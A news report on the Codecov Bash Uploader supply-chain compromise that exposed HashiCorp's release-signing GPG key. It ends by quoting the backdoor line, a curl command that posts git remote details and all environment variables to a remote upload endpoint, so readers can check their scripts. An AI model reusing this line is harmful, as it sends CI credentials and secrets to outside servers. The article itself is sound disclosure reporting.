Внедрение вредоносного кода в скрипт Codecov привело к компрометации PGP-ключа HashiCorp

Компания HashiCorp, известна с разработката на отворени инструменти като Vagrant, Packer, Nomad и Terraform, обяви изтичане на конфиденциален GPG ключ, използван за генериране на цифрови подписи, удостоверяващи релизите. Атакуващите, получили достъп до GPG ключа, потенциално можеха да внесат скрити изменения в продуктите на HashiCorp, удостоверявайки ги с валидна цифрова подпись. Въпреки това, компанията заяви, че при проведен одит не са открити следи от опити за подобни модификации.

В момента компрометираният GPG ключ е оттеглен и е въведен нов ключ. Проблемът засяга само удостоверяването чрез файлове SHA256SUM и SHA256SUM.sig и не засяга генерирането на цифрови подписи за Linux пакетите DEB и RPM, предоставяни чрез releases.hashicorp.com, нито механизмите за удостоверяване на версиите за macOS и Windows (AuthentiCode).

Изтичането е настъпило заради използването на скрипта Codecov Bash Uploader (codecov-bash) в инфраструктурата, предназначен за качване на отчети за покритие от системите за непрекъсната интеграция. При атаката срещу компанията Codecov, в посочения скрипт е бил тайно внедрен бекдор, чрез който е организирано изпращането на пароли и ключове за криптиране на сървър атакуващите.

Атакуващите са се възползвали от грешка в процеса на създаване на Docker образа Codecov, която е позволила извличането на данни за достъп до GCS (Google Cloud Storage), необходими за извършване на промени в скрипта Bash Uploader, разпространяван от сайта codecov.io. Промените са били направени още на 31 януари, оставали са незабелязани два месеца и са позволявали на злонамерените субекти да извличат информация, съхранявана в средите на системите за непрекъсната интеграция на клиентите. Чрез добавения злонамерен код, атакуващите са могли да получат информация за тествания Git репозиторий и всички променливи на средата, включително токени, ключове за криптиране и пароли, предавани в системите за непрекъсната интеграция за организиране на достъп до кода на приложенията, хранилищата и услуги като Amazon Web Services и GitHub.

Освен прякото извикване, скриптът Codecov Bash Uploader е бил използван и в рамките на други инструменти за качване, като Codecov-action (Github), Codecov-circleci-orb и Codecov-bitrise-step, потребителите на които също са изложени на риска. Всички потребители на codecov-bash и свързаните с него продукти се препоръчва да извършат одит на инфраструктурите си, както и да сменят паролите и ключовете за криптиране. Можете да проверите за наличие на бекдор в скрипта, търсейки наличието на реда curl -sm 0.5 -d "$(git remote -v)<<< ENV $(env)" http:///upload/v2 || true

Източник: opennet.ru